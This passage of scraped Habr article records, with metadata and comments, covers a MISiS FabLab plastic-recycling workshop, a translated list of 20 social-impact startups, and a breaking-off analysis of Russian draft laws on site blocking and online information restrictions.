Студенты из Университета Париж-Сакле (Франция) стали участниками практикума по переработке пластика, который проходит с 1 по 13 июля 2019 года в ФабЛабе НИТУ «МИСиС». Курс посвящен работе c машинами Precious Plastic. Открытый проект голландца Дэйва Хаккенса Precious Plastic – это глобальное сообщество, занимающееся созданием машин, предназначенных для переработки пластиковых отходов в новое сырье, а затем и в предметы для повседневного использования (контейнеры, инструменты, городская мебель и т. д.). Проект является открытым: собрать машину может любой энтузиаст (мейкер, дизайнер или инженер), а локальные сообщества будут ее использовать для переработки пластикового мусора.
article
1,562,766,674
{ "commentsCount": 18, "favoritesCount": 15, "readingCount": 3757, "score": 22, "votesCount": 22, "votesCountPlus": 22, "votesCountMinus": 0 }
[]
[ "misis", "DIY", "Ecology", "futurenow" ]
[ "popsci" ]
[ "мисис", "экология", "изобретения", "образование" ]
3
null
null
{ "id": [ 20377752, 20378112, 20378142, 20378648, 20378736, 20378746, 20379088, 20379538, 20379802, 20379838, 20379932, 20380064, 20380116, 20380210, 20380362, 20380910, 20477729, 20482455 ], "parent_id": [ null, 20377752, null, 20378142, 20377752, 20377752, null, 20377752, 20378648, 20379802, null, 20379838, 20378142, 20380064, 20380116, 20380362, 20378112, 20477729 ], "level": [ 0, 1, 0, 1, 1, 1, 0, 1, 2, 3, 0, 4, 1, 5, 2, 3, 2, 3 ], "time_published": [ 1562782386, 1562790377, 1562790943, 1562810426, 1562820181, 1562820588, 1562829241, 1562834776, 1562836811, 1562837068, 1562837995, 1562839591, 1562840284, 1562841173, 1562842627, 1562848330, 1565100834, 1565226732 ], "score": [ 2, 0, 1, 2, 2, 3, 2, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0 ], "votes": [ 2, 0, 1, 2, 2, 3, 4, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Молодцы конечно. Однако, лучше у французов поучиться экологии. Реальная сортировка мусора, а не захоронение на полигонах. И тот же пластик они активно рециклируют.<br/>\r\nНу, а так — bon courage :-)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если включить геймификацию с мусором как во многих странах, то и у нас количество мусора поубавилось бы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Хотелось бы больше узнать о шредере. Есть где-то техническое описание, лицензия?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Народ из двигателя и нескольких дисков для циркулярки собирает, плюс кожух и воронка, чтобы сырьё удобно закидывать было.<br/>\r\n<br/>\r\nТам с сушкой вопрос, ПЭТ воду впитывает, какие то доли процента, что для бытовых нужд не страшно, а для повторного использования уже не годится. Сушат, если ничего не путаю, порядка 6 часов при 180 градусах.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Решил тут озадачиться и сдать стекло. Оказалось, это не так просто как в «лихие 90-е». Контор, которые стекло принимают, мало и реально проще выбросить в мусор чем заморачиваться со сдачей. Бензина больше сожгёшь.<br/>\r\nА вот в Баварии — взяли ящик пива за 7 евро, потом сдали в том же магазе бутылки и ящик обратно — получили назад 4 евро. И никакой геймификации не надо.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Уважаемый Geckelberryfinn. <br/>\r\nВы конечно извините, но для меня, как носителя русского языка, мягко говоря дико читать «рециклируют» вместо общепринятого «перерабатывают».<br/>\r\nЭто моя личная маленькая придирка, и на качество комментария, как и на его смысл, она никак не влияет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Идея конечно хорошая но пока вы тут</p><br/>\r\n<blockquote>Как мы учим французов экологии</blockquote><p>Где то на необъятных просторах России матушки открыли еще один мусорный полигон. Как тут сказали выше, неплохо было бы хотя бы как у французов ввести раздельную обработку мусора. Заголовок конечно пафосный.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот — вот. Я тоже не понял — а в чем инновационность?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Дык тренд, переработка пластика ).<br/>\r\n<br/>\r\nЯ бы сказал, что это лапша не нам, а эколухам агрящимся на любой пластик.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Судя по виду агрегата, инновация в том, что стартапер перепродает мейкерам ножи, купленные где-то на просторах Alibaba.<br/>\r\n<br/>\r\nРазубедите меня, пожалуйста.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я-то думал там будет разговор про математическое моделирование разных типов и форм ножей для экономии энергии при перерфботке и т.д. А тут получается нарисовали железку, кто-то ее изготовил и слава Богу?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"https://preciousplastic.com/en/videos/build/shredder.html\">preciousplastic.com/en/videos/build/shredder.html</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Может конечно речь про то, о чём вы говорите, но что-то сомнительно. Да и 10 минут на измельчение кг пластика, как то многовато.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ему бы методичку по ТБ прислать бы, а то он сваривает только в маске — и то наверное потому, что без маски плохо видно что варить. Остальное все голыми руками, в том числе и хват «богарки» при работе по металлу.<br/>\r\nНу и в целом — да кустарный измельчитель интересен, НО сырье он загружает в него поштучно, была бы классная демонстрация, если в него перевернуть сразу пакет с пластиковыми отходами — он бы 10 минут покрутился и мы бы получили на выходе частички с заданной сечкой.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ребята в МИСиС вроде более аккуратно работают, в халатах, крагах и с вытяжкой.<br/>\r\n<br/>\r\nОснователь проекта Precious plastic вообще энтузиаст из Европы, и акцент у него не столько на технологичность (любой завод, на котором стоит термопласт-автомат, даст ему сто очков форы), а на возможность почти любому энтузиасту сделать что-то подобное. <br/>\r\nВпрочем, цена решения получается всё же достаточно большой — для работы нужно минимум две машины (шреддер + любая с плавлением), плюс возможность делать мастер-формы. Для шреддера нужна раскройка по металлу (фрезерование, но лучше эрозия или лазер).</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">уже, вроде как, в Москве и Питере в гиппермаркетах появились автоматы, принимающие пластик, стекло и алюминий в обмен на скидки. Вроде как Юниливер и Кока-кола с x5 retail group и Лентой эти акции ведут</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Согласитесь — это капля в море пока, для того, что бы занять этим всю страну и воспитать население этим.</div>" ], "message_markdown": [ "Молодцы конечно. Однако, лучше у французов поучиться экологии. Реальная сортировка мусора, а не захоронение на полигонах. И тот же пластик они активно рециклируют.\nНу, а так — bon courage :-)", "Если включить геймификацию с мусором как во многих странах, то и у нас количество мусора поубавилось бы.", "Хотелось бы больше узнать о шредере. Есть где-то техническое описание, лицензия?", "Народ из двигателя и нескольких дисков для циркулярки собирает, плюс кожух и воронка, чтобы сырьё удобно закидывать было.\nТам с сушкой вопрос, ПЭТ воду впитывает, какие то доли процента, что для бытовых нужд не страшно, а для повторного использования уже не годится. Сушат, если ничего не путаю, порядка 6 часов при 180 градусах.", "Решил тут озадачиться и сдать стекло. Оказалось, это не так просто как в «лихие 90-е». Контор, которые стекло принимают, мало и реально проще выбросить в мусор чем заморачиваться со сдачей. Бензина больше сожгёшь.\nА вот в Баварии — взяли ящик пива за 7 евро, потом сдали в том же магазе бутылки и ящик обратно — получили назад 4 евро. И никакой геймификации не надо.", "Уважаемый Geckelberryfinn.\nВы конечно извините, но для меня, как носителя русского языка, мягко говоря дико читать «рециклируют» вместо общепринятого «перерабатывают».\nЭто моя личная маленькая придирка, и на качество комментария, как и на его смысл, она никак не влияет.", "Идея конечно хорошая но пока вы тут\n> Как мы учим французов экологии\nГде то на необъятных просторах России матушки открыли еще один мусорный полигон. Как тут сказали выше, неплохо было бы хотя бы как у французов ввести раздельную обработку мусора. Заголовок конечно пафосный.", "UFO just landed and posted this here", "Вот — вот. Я тоже не понял — а в чем инновационность?", "Дык тренд, переработка пластика ).\nЯ бы сказал, что это лапша не нам, а эколухам агрящимся на любой пластик.", "Судя по виду агрегата, инновация в том, что стартапер перепродает мейкерам ножи, купленные где-то на просторах Alibaba.\nРазубедите меня, пожалуйста.", "Я-то думал там будет разговор про математическое моделирование разных типов и форм ножей для экономии энергии при перерфботке и т.д. А тут получается нарисовали железку, кто-то ее изготовил и слава Богу?", "preciousplastic.com/en/videos/build/shredder.html", "Может конечно речь про то, о чём вы говорите, но что-то сомнительно. Да и 10 минут на измельчение кг пластика, как то многовато.", "Ему бы методичку по ТБ прислать бы, а то он сваривает только в маске — и то наверное потому, что без маски плохо видно что варить. Остальное все голыми руками, в том числе и хват «богарки» при работе по металлу.\nНу и в целом — да кустарный измельчитель интересен, НО сырье он загружает в него поштучно, была бы классная демонстрация, если в него перевернуть сразу пакет с пластиковыми отходами — он бы 10 минут покрутился и мы бы получили на выходе частички с заданной сечкой.", "Ребята в МИСиС вроде более аккуратно работают, в халатах, крагах и с вытяжкой.\nОснователь проекта Precious plastic вообще энтузиаст из Европы, и акцент у него не столько на технологичность (любой завод, на котором стоит термопласт-автомат, даст ему сто очков форы), а на возможность почти любому энтузиасту сделать что-то подобное.\nВпрочем, цена решения получается всё же достаточно большой — для работы нужно минимум две машины (шреддер + любая с плавлением), плюс возможность делать мастер-формы. Для шреддера нужна раскройка по металлу (фрезерование, но лучше эрозия или лазер).", "уже, вроде как, в Москве и Питере в гиппермаркетах появились автоматы, принимающие пластик, стекло и алюминий в обмен на скидки. Вроде как Юниливер и Кока-кола с x5 retail group и Лентой эти акции ведут", "Согласитесь — это капля в море пока, для того, что бы занять этим всю страну и воспитать население этим." ], "author": [ "Geckelberryfinn", "mc2", "Ermak (Ermak)", "Виктор Загорский (shaggyone)", "zerg59", "WebFlyer", "Victor (vba)", "{}", "SamPoSebe", "Виктор Загорский (shaggyone)", "spc", "SamPoSebe", "Олег Уржумцев (NetBUG)", "Виктор Загорский (shaggyone)", "GokenTanmay", "Олег Уржумцев (NetBUG)", "Sлавик Zelный (Zel)", "mc2" ], "children": [ [ 20378112, 20378736, 20378746, 20379538 ], [ 20477729 ], [ 20378648, 20380116 ], [ 20379802 ], [], [], [], [], [ 20379838 ], [ 20380064 ], [], [ 20380210 ], [ 20380362 ], [], [ 20380910 ], [], [ 20482455 ], [] ] }
190,916
ru
https://habr.com/ru/post/190916/
20 стартапов, которые изменят мир
Многие из нас обнаружили, что технологии — идеальный способ изменить мир к лучшему. C работой таких фондов, как например Фонд Гейтсов, социальных акселераторов типа Wayra UnLtd и Nominet Trust 100, и конечно, с помощью интернета, будущее теперь светит ярче, чем когда-либо. Ниже мы рассмотрим 20 стартапов со всего света, которые меняют наш повседневный быт и то, как мы будем жить. От проектов здравоохранения в Уганде и программе защиты леса Амазонки до краудсорсинговой платформы в Исландии, вдохновляющие проекты в корне меняют мир. Какие бы социально-активные организации вы бы хотели добавить в список? Пишите в комментариях. ## 1\. Code Club World По примеру Code.org в Кремниевой долине, Code Club World хотят дать возможность каждому ребенку в мире шанс научиться программированию. Сервис дает все необходимые материалы и основы, помогающие проводить клубы для программирования после школы. ## 2\. Skin Analytics Приложение для смартфона мониторит изменения кожи и положения родинок для раннего предупреждения о раке кожи. Это превращает смартфон в data-коллектор, который дает доктору дополнительную информацию, чтобы помочь в постановке диагноза. ## 3\. Icelandic Constitution С помощью краудсорсинговой платформы, Исландия решила переписать свою конституцию. Любой гражданин, зашедший на сайт сможет внести свой вклад в разработку этого документа. Альтинг, исландский парламент, ратифицирует выводы после двух последовательных парламентских ассамблей и одних всеобщих выборов. ## 4\. Life Lens Life Lens это мобильное приложение, которое с высокой точностью анализирует образцы крови для борьбы с малярией — напасть, убивающая 30,000 детей в день. Приложение снижает количество “ложно положительных” диагнозов, позволяя более эффективно использовать деньги и ресурсы для борьбы с болезнью. ## 5\. Freecycle «Ваши вещи еще могут быть полезными... Будьте полезны тоже» Freecycle — растущая сеть с более чем 9млн пользователей по всему миру, готовых отдать бесплатно товары, вместо того, чтобы их выкидывать. Это нон-профит движение людей, которые безвозмездно делятся продуктами и вещами в своем городе. ## 6\. Bookshare Bookshare это самая крупная в мире онлайн библиотека для людей с таким недугом как слепота. Организация имеет сеть технологических, корпоративных и некоммерческих советников, а также сообщества меценатов. ## 7\. Trustparency Эта веб платформа помогает благотворительным организациям создать нужный уровень эмоциональной привязанности для долгосрочных, доверительных отношений. Социальные проекты могут показать свой вклад в развитие социума и то, как тратятся финансированные в проекты деньги. ## 8\. ZubaBox ZubaBox это интернет хаб, работающий на солнечных батареях, который позоляет жителям Африки в дикой местности пользоваться Wi-Fi и обеспечивает долгосрочное устойчивое развитие в беднейших странах мира. На сегодняшний день компания предоставила более 114 000 компьютеров в самые отдаленные общины Африки. ## 9\. Blind Square Blind Square это система GPS дополненной реальности для инвалидов по зрению. Приложение получает информацию об окружающей среде от Foursquare и OpenStreetMap, также использует свои собственные высококачественные голоса на разных языках, чтобы сообщить информацию об окружении пользователя. ## 10\. Hole-in-the-Wall Project Hole-in-the-Wall это бесплатный компьютер, встроенный в стену, чтобы позволить детям из бедных семей в Индии пользоваться им первое время. С момента своего создания в 1999 году, лавчонка выросла с одного компьютера в Нью-Дели в более чем 100 компьютеров в различных местах по всей Индии и за рубежом. ## 11\. CIES Это мобильные, высокотехнологичные медицинские центры, предоставляющие медицинские учреждения в Бразилии нуждающимся общинам. Это некоммерческая организация, которая фокусируется на людях с низкими доходами — население лишенное доступа к качественной медицинской помощи. ## 12\. Moms Rising Moms Rising представляет собой организацию матерей в Соединенных Штатах, которые пытаются сделать США более семейноориентированной страной. В организации уже более 1 миллиона членов, которые стараются повлиять на законодательства, а также способствуют справедливому отношению к матерям и женщинам. ## 13\. Stop the Traffic Это глобальное движение из 55000 людей, общин и организаций, борющихся за предотвращение человеческой торговли по всему миру. В октябре 2013 года эта инициатива будет поддержана на первой конференции по торговле детьми (Counter Child Trafficking) в Лондоне. ## 14\. WeFarm “Интернет для фермеров без интернета”, WeFarm позволяет фермерам задавать вопросы, делиться советами и рекомендациями по локальной SMS с тысячами членов по всему миру. WeFarm использует Интернет и уникальную систему peer-перевода, чтобы можно было делиться этими знаниями через платформу. ## 15\. Imazon Imazon является первой независимой системой мониторинга обезлесения в бразильской Амазонии, с использованием технических карт и спутниковых снимков. ## 16\. Imaging the World Imaging the World предоставляет ультразвуковые изображения через Интернет из сельских родильных домов в Уганде в центры для диагностики. Это меняет глобальную медицину через революционную концепцию интеграции технологий, обучение и сообщества — обеспечение медицинской экспертизы и высокое качество здравоохранения в отдаленных и недостаточно обслуживаемых районах. ## 17\. Enable Talk Gloves Эти перчатки оснащены датчиками, которые распознают язык жестов, переводят жесты в текст на смартфоне, который, в свою очередь, преобразует текст в произносимые слова. Концепция проекта состояла из одного датчика на каждой перчатке и мобильным устройством, которое ведет процесс распознавания. ## 18\. DNAdigest Эта инициатива обеспечивает безопасный доступ к открытым данным геномики для исследования и позволяет исследователям совместно использовать большие объемы данных. Это решает проблему конфиденциальности данных, так как научное сообщество не имеет инфраструктуры для сложного доступа к данным. ## 19\. EnergyDeck EnergyDeck это коммьюнити-платформа в Великобритании, которая помогает организациям снизить расходы на энергию. Эта инициатива согласуется с директивой Великобритании для уменьшения выбросов углерода на 20% к 2020 году и на 80% к 2050 году. ## 20\. Karisma Kidz Это онлайн-мир, который помогает детям управлять своим настроением и улучшить эмоциональный интеллект в веселой и привлекательной форме. Это помогает облегчить проблемы психического здоровья, такие как депрессия и тревожность у детей и молодых взрослых, и создает положительное влияние на здоровье населения.
<div xmlns="http://www.w3.org/1999/xhtml">Многие из нас обнаружили, что технологии — идеальный способ изменить мир к лучшему. C работой таких фондов, как например <a href="http://www.gatesfoundation.org/">Фонд Гейтсов</a>, социальных акселераторов типа <a href="http://wayra.org/unltd/">Wayra UnLtd</a> и <a href="http://www.nominettrust.org.uk/knowledge-centre/nominet-trust-100">Nominet Trust 100</a>, и конечно, с помощью интернета, будущее теперь светит ярче, чем когда-либо.<br/> <br/> <img src="https://habrastorage.org/r/w780q1/storage2/1b1/e49/2e9/1b1e492e987168ddd5f99cb2d09bd552.jpg" data-src="https://habrastorage.org/storage2/1b1/e49/2e9/1b1e492e987168ddd5f99cb2d09bd552.jpg" data-blurred="true"/><br/> <a name="habracut"></a><br/> Ниже мы рассмотрим 20 стартапов со всего света, которые меняют наш повседневный быт и то, как мы <i>будем</i> жить. От проектов здравоохранения в Уганде и программе защиты леса Амазонки до краудсорсинговой платформы в Исландии, вдохновляющие проекты в корне меняют мир.<br/> <br/> Какие бы социально-активные организации вы бы хотели добавить в список? Пишите в комментариях.<br/> <br/> <b><h2>1. <a href="http://codeclubworld.org/">Code Club World</a></h2></b><br/> По примеру Code.org в Кремниевой долине, Code Club World хотят дать возможность каждому ребенку в мире шанс научиться программированию. Сервис дает все необходимые материалы и основы, помогающие проводить клубы для программирования после школы.<br/> <br/> <b><h2>2. <a href="http://www.skin-analytics.com/">Skin Analytics</a></h2></b><br/> Приложение для смартфона мониторит изменения кожи и положения родинок для раннего предупреждения о раке кожи. Это превращает смартфон в data-коллектор, который дает доктору дополнительную информацию, чтобы помочь в постановке диагноза. <br/> <br/> <b><h2>3. <a href="http://www.government.is/constitution/">Icelandic Constitution</a></h2></b><br/> С помощью краудсорсинговой платформы, Исландия решила переписать свою конституцию. Любой гражданин, зашедший на сайт сможет внести свой вклад в разработку этого документа. Альтинг, исландский парламент, ратифицирует выводы после двух последовательных парламентских ассамблей и одних всеобщих выборов.<br/> <br/> <b><h2>4. <a href="http://lifelensproject.com/blog/">Life Lens</a></h2></b><br/> Life Lens это мобильное приложение, которое с высокой точностью анализирует образцы крови для борьбы с малярией — напасть, убивающая 30,000 детей в день. Приложение снижает количество “ложно положительных” диагнозов, позволяя более эффективно использовать деньги и ресурсы для борьбы с болезнью.<br/> <br/> <b><h2>5. <a href="http://www.freecycle.org/">Freecycle</a></h2></b><br/> <img src="https://habrastorage.org/r/w780q1/storage2/847/2fa/2a2/8472fa2a208c1e0f294263039ab5f0b0.jpg" data-src="https://habrastorage.org/storage2/847/2fa/2a2/8472fa2a208c1e0f294263039ab5f0b0.jpg" data-blurred="true"/><br/> <i>«Ваши вещи еще могут быть полезными… Будьте полезны тоже»</i><br/> <br/> Freecycle — растущая сеть с более чем 9млн пользователей по всему миру, готовых отдать бесплатно товары, вместо того, чтобы их выкидывать. Это нон-профит движение людей, которые безвозмездно делятся продуктами и вещами в своем городе. <br/> <br/> <b><h2>6. <a href="https://www.bookshare.org/">Bookshare</a></h2></b><br/> Bookshare это самая крупная в мире онлайн библиотека для людей с таким недугом как слепота. Организация имеет сеть технологических, корпоративных и некоммерческих советников, а также сообщества меценатов.<br/> <br/> <b><h2>7. <a href="http://www.trustparency.co.uk/">Trustparency</a></h2></b><br/> Эта веб платформа помогает благотворительным организациям создать нужный уровень эмоциональной привязанности для долгосрочных, доверительных отношений. Социальные проекты могут показать свой вклад в развитие социума и то, как тратятся финансированные в проекты деньги.<br/> <br/> <b><h2>8. <a href="http://www.computeraid.org/Zubabox-Solar-Internet-Hub.asp">ZubaBox</a></h2></b><br/> ZubaBox это интернет хаб, работающий на солнечных батареях, который позоляет жителям Африки в дикой местности пользоваться Wi-Fi и обеспечивает долгосрочное устойчивое развитие в беднейших странах мира. На сегодняшний день компания предоставила более 114 000 компьютеров в самые отдаленные общины Африки.<br/> <br/> <b><h2>9. <a href="http://blindsquare.com/">Blind Square</a></h2></b><br/> Blind Square это система GPS дополненной реальности для инвалидов по зрению. Приложение получает информацию об окружающей среде от <a href="https://ru.foursquare.com/">Foursquare</a> и <a href="http://www.openstreetmap.org/#map=5/51.500/-0.100">OpenStreetMap</a>, также использует свои собственные высококачественные голоса на разных языках, чтобы сообщить информацию об окружении пользователя.<br/> <br/> <b><h2>10. <a href="http://www.hole-in-the-wall.com/">Hole-in-the-Wall Project</a></h2></b><br/> Hole-in-the-Wall это бесплатный компьютер, встроенный в стену, чтобы позволить детям из бедных семей в Индии пользоваться им первое время. С момента своего создания в 1999 году, лавчонка выросла с одного компьютера в Нью-Дели в более чем 100 компьютеров в различных местах по всей Индии и за рубежом.<br/> <br/> <b><h2>11. <a href="http://www.projetocies.org.br/medical-center-mobile.php">CIES</a></h2></b><br/> Это мобильные, высокотехнологичные медицинские центры, предоставляющие медицинские учреждения в Бразилии нуждающимся общинам. Это некоммерческая организация, которая фокусируется на людях с низкими доходами — население лишенное доступа к качественной медицинской помощи.<br/> <br/> <b><h2>12. <a href="http://www.momsrising.org/">Moms Rising</a></h2></b><br/> Moms Rising представляет собой организацию матерей в Соединенных Штатах, которые пытаются сделать США более семейноориентированной страной. В организации уже более 1 миллиона членов, которые стараются повлиять на законодательства, а также способствуют справедливому отношению к матерям и женщинам.<br/> <br/> <b><h2>13. <a href="http://www.stopthetraffik.org/map">Stop the Traffic</a></h2></b><br/> Это глобальное движение из 55000 людей, общин и организаций, борющихся за предотвращение человеческой торговли по всему миру. В октябре 2013 года эта инициатива будет поддержана на первой конференции по торговле детьми (<a href="http://counterchildtrafficking.org/">Counter Child Trafficking</a>) в Лондоне.<br/> <br/> <b><h2>14. <a href="http://wefarm.info/">WeFarm</a></h2></b><br/> “Интернет для фермеров без интернета”, WeFarm позволяет фермерам задавать вопросы, делиться советами и рекомендациями по локальной SMS с тысячами членов по всему миру. WeFarm использует Интернет и уникальную систему peer-перевода, чтобы можно было делиться этими знаниями через платформу.<br/> <br/> <b><h2>15. <a href="http://www.imazon.org.br/">Imazon</a></h2></b><br/> Imazon является первой независимой системой мониторинга обезлесения в бразильской Амазонии, с использованием технических карт и спутниковых снимков. <br/> <br/> <b><h2>16. <a href="http://imagingtheworld.org/">Imaging the World</a></h2></b><br/> Imaging the World предоставляет ультразвуковые изображения через Интернет из сельских родильных домов в Уганде в центры для диагностики. Это меняет глобальную медицину через революционную концепцию интеграции технологий, обучение и сообщества — обеспечение медицинской экспертизы и высокое качество здравоохранения в отдаленных и недостаточно обслуживаемых районах.<br/> <br/> <b><h2>17. <a href="http://enabletalk.com/">Enable Talk Gloves</a></h2></b><br/> <img src="https://habrastorage.org/r/w780q1/storage2/49f/49f/4c8/49f49f4c85debd1c27d619d2d9c1714f.jpg" data-src="https://habrastorage.org/storage2/49f/49f/4c8/49f49f4c85debd1c27d619d2d9c1714f.jpg" data-blurred="true"/><br/> Эти перчатки оснащены датчиками, которые распознают язык жестов, переводят жесты в текст на смартфоне, который, в свою очередь, преобразует текст в произносимые слова. Концепция проекта состояла из одного датчика на каждой перчатке и мобильным устройством, которое ведет процесс распознавания.<br/> <br/> <b><h2>18. <a href="http://dnadigest.org/">DNAdigest</a></h2></b><br/> Эта инициатива обеспечивает безопасный доступ к открытым данным геномики для исследования и позволяет исследователям совместно использовать большие объемы данных. Это решает проблему конфиденциальности данных, так как научное сообщество не имеет инфраструктуры для сложного доступа к данным.<br/> <br/> <b><h2>19. <a href="http://www.energydeck.com/home/">EnergyDeck</a></h2></b><br/> EnergyDeck это коммьюнити-платформа в Великобритании, которая помогает организациям снизить расходы на энергию. Эта инициатива согласуется с директивой Великобритании для уменьшения выбросов углерода на 20% к 2020 году и на 80% к 2050 году.<br/> <br/> <b><h2>20. <a href="http://www.karismakidz.com/">Karisma Kidz</a></h2></b><br/> Это онлайн-мир, который помогает детям управлять своим настроением и улучшить эмоциональный интеллект в веселой и привлекательной форме. Это помогает облегчить проблемы психического здоровья, такие как депрессия и тревожность у детей и молодых взрослых, и создает положительное влияние на здоровье населения.</div>
johnycloud
Monty Munford
http://mashable.com/2013/08/19/social-innovations/
Многие из нас обнаружили, что технологии — идеальный способ изменить мир к лучшему. C работой таких фондов, как например <a href="http://www.gatesfoundation.org/">Фонд Гейтсов</a>, социальных акселераторов типа <a href="http://wayra.org/unltd/">Wayra UnLtd</a> и <a href="http://www.nominettrust.org.uk/knowledge-centre/nominet-trust-100">Nominet Trust 100</a>, и конечно, с помощью интернета, будущее теперь светит ярче, чем когда-либо.<br/> <br/> <img src="https://habrastorage.org/storage2/1b1/e49/2e9/1b1e492e987168ddd5f99cb2d09bd552.jpg"/><br/>
Многие из нас обнаружили, что технологии — идеальный способ изменить мир к лучшему. C работой таких фондов, как например Фонд Гейтсов, социальных акселераторов типа Wayra UnLtd и Nominet Trust 100, и конечно, с помощью интернета, будущее теперь светит ярче, чем когда-либо.
article
1,377,092,871
{ "commentsCount": 1, "favoritesCount": 29, "readingCount": 18901, "score": 3, "votesCount": 7, "votesCountPlus": 5, "votesCountMinus": 2 }
[ "translation" ]
[ "cloudsnn" ]
[]
[ "start-up", "стартап", "startups", "startup weekend", "mobile", "mobile services", "mobile apps", "africa", "future is now", "future", "будущее здесь", "будущее рядом", "будущее сейчас", "будущее неподалеку", "стартап-акселератор", "мир вокруг нас", "мир великолепен", "гаджеты", "гаджеты и девайсы", "гаджеты и т.д." ]
4
null
null
{ "id": [ 6634636 ], "parent_id": [ null ], "level": [ 0 ], "time_published": [ 1377155808 ], "score": [ 0 ], "votes": [ 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Приятно видеть в этом списке проект, разработчиком которого ты являешься, хоть и на 19-м месте. :)</div>" ], "message_markdown": [ "Приятно видеть в этом списке проект, разработчиком которого ты являешься, хоть и на 19-м месте. :)" ], "author": [ "Ashald" ], "children": [ [] ] }
433,520
ru
https://habr.com/ru/post/433520/
Новые законодательные инициативы в деле защиты информации
На прошлой неделе в Государственную Думу были внесены три законопроекта, направленные на внесение изменений в Федеральный закон от 27 июля 2006 года No 149-ФЗ «Об информации, информационных технологиях и о защите информации». Данные законопроекты, скорее всего, будут рассмотрены на весенней сессии Государственной Думы. Предлагаю ознакомиться с их содержанием уже сегодня. Полные тексты законопроектов можно найти по адресам: > 1\. http://sozd.parliament.gov.ru/bill/605945-7 > 2\. http://sozd.parlament.gov.ru/bill/606594-7 > 3\. http://sozd.parlament.gov.ru/bill/606593-7 Первый законопроект предусматривает внесение в законодательство изменений, направленных на осуществление на основании решения Банка России «блокировки сайтов», используемых с нарушениями законодательства о финансовом рынке, в том числе для совершения мошеннических действий. В пояснительной записке к законопроекту указано, что Банком России отмечается увеличение масштабов использования сайтов для совершения мошеннических действий на финансовом рынке. Перечень информации, при размещении которой предлагается блокировать сайты, довольно широк и весьма неоднозначен. В зависимости от трактовки текста, действие предлагаемых изменений может быть противоположно направленным, что оставляет место злоупотреблениям. Дабы не быть голословным, процитирую текст законопроекта: > «4) решения Банка России в отношении распространяемой посредством сети «Интернет» информации: > > а) вводящей клиентов кредитных организаций и (или) некредитных финансовых организаций, а также иных лиц, взаимодействующих с кредитными организациями и (или) некредитными финансовыми организациями, в заблуждение относительно принадлежности информации, распространяемой посредством сети «Интернет», в том числе вследствие сходства доменных имен, оформления или содержания; > > б) связанной с предложением и (или) предоставлением на территории Российской Федерации финансовых услуг, определенных в Федеральном законе «О защите конкуренции», лицами, не имеющими права их оказывать в соответствии с законодательством Российской Федерации; > > в) связанной с осуществлением на территории Российской Федерации деятельности по привлечению денежных средств и (или) иного имущества физических лиц и (или) юридических лиц, при которой выплата дохода и (или) предоставление иной выгоды лицам, чьи денежные средства и (или) иное имущество привлечены ранее, осуществляются за счет привлеченных денежных средств и (или) иного имущества иных физических лиц и (или) юридических лиц при отсутствии инвестиционной и (или) иной законной предпринимательской или иной деятельности, связанной с использованием привлеченных денежных средств и (или) иного имущества». > > Данный законопроект также вносит соответствующие поправки в Гражданский процессуальный кодекс. Как видно из текста, сходство доменных имен (кстати, на сколько %?) может оказаться реальным поводом для блокировки сайта даже для законопослушных участников рынка. В интернете есть множество легально работающих сайтов, части названия которых совпадают, и это станет проблемой их собственников с момента принятия вышеупомянутых поправок в 149-ФЗ как есть. Будем надеяться, что законотворцы увидят здесь коллизию и постараются добавить четкости и ясности в данное положение. Второй внесенный законопроект предлагает дополнить ФЗ-149 новой статьей, предусматривающей возможность принятия мер по ограничению доступа к информации, выражающей в неприличной форме явное неуважение к обществу, государству, официальным государственным символам РФ, Конституции РФ и органам, осуществляющим государственную власть в Российской Федерации. Здесь также потребуются дополнительные разъяснения, что считать неприличной формой и что именно мы станем отныне называть неуважением. Ведь справедливая критика бывает очень неприятна, и к тому же она может быть разной по форме и содержанию — шаржи и карикатуры часто являются более эффективными методами общественного воздействия на зарвавшегося чиновника, чем письма по инстанциям, статьи или выговоры... Согласно тексту законопроекта, Генеральный прокурор Российской Федерации или его заместители обращаются в Роскомнадзор с требованием о принятии мер по ограничению доступа к информационным ресурсам, распространяющим такую информацию. Роскомнадзор, в свою очередь, направляет операторам связи требование о принятии мер по ограничению доступа к информационному ресурсу. Также Роскомнадзор направляет провайдеру хостинга уведомление в электронном виде о нарушении порядка распространения информации с требованием принять меры по удалению такой информации. Если владелец информационного ресурса удалил распространяемую с нарушением закона информацию, он направляет уведомление об этом в Роскомнадзор, который проверяет данную информацию и оповещает операторов о возобновлении доступа. Третий законопроект предлагается дополнить статью 15 ФЗ-149 новыми положениями, которые, как говорится в пояснительной записке, направлены на пресечение распространения недостоверной общественно значимой информации, распространяемой под видом достоверных сообщений, которая создает угрозу жизни и (или) здоровью граждан, массового нарушения общественного порядка и (или) общественной безопасности, прекращения функционирования объектов жизнеобеспечения, транспортной или социальной инфраструктуры, наступления иных тяжких последствий. Законопроектом предлагается в отношении такой информации применять существующий механизм, действующий в отношении информации, содержащей призывы к массовым беспорядкам, осуществлению экстремистской деятельности, участию в массовых мероприятиях, проводимых с нарушением установленного порядка. В пояснительной записке к законопроекту отмечается, что осознание негативных аспектов распространения ложной информации побуждает государственные институты многих стран к поиску механизмов её пресечения. Указывается, что Еврокомиссия разрабатывает общеевропейскую стратегию противостояния онлайн-дезинформации. Также в записке говорится, что предлагаемая инициатива продолжает политику обеспечения информационной безопасности, защиты 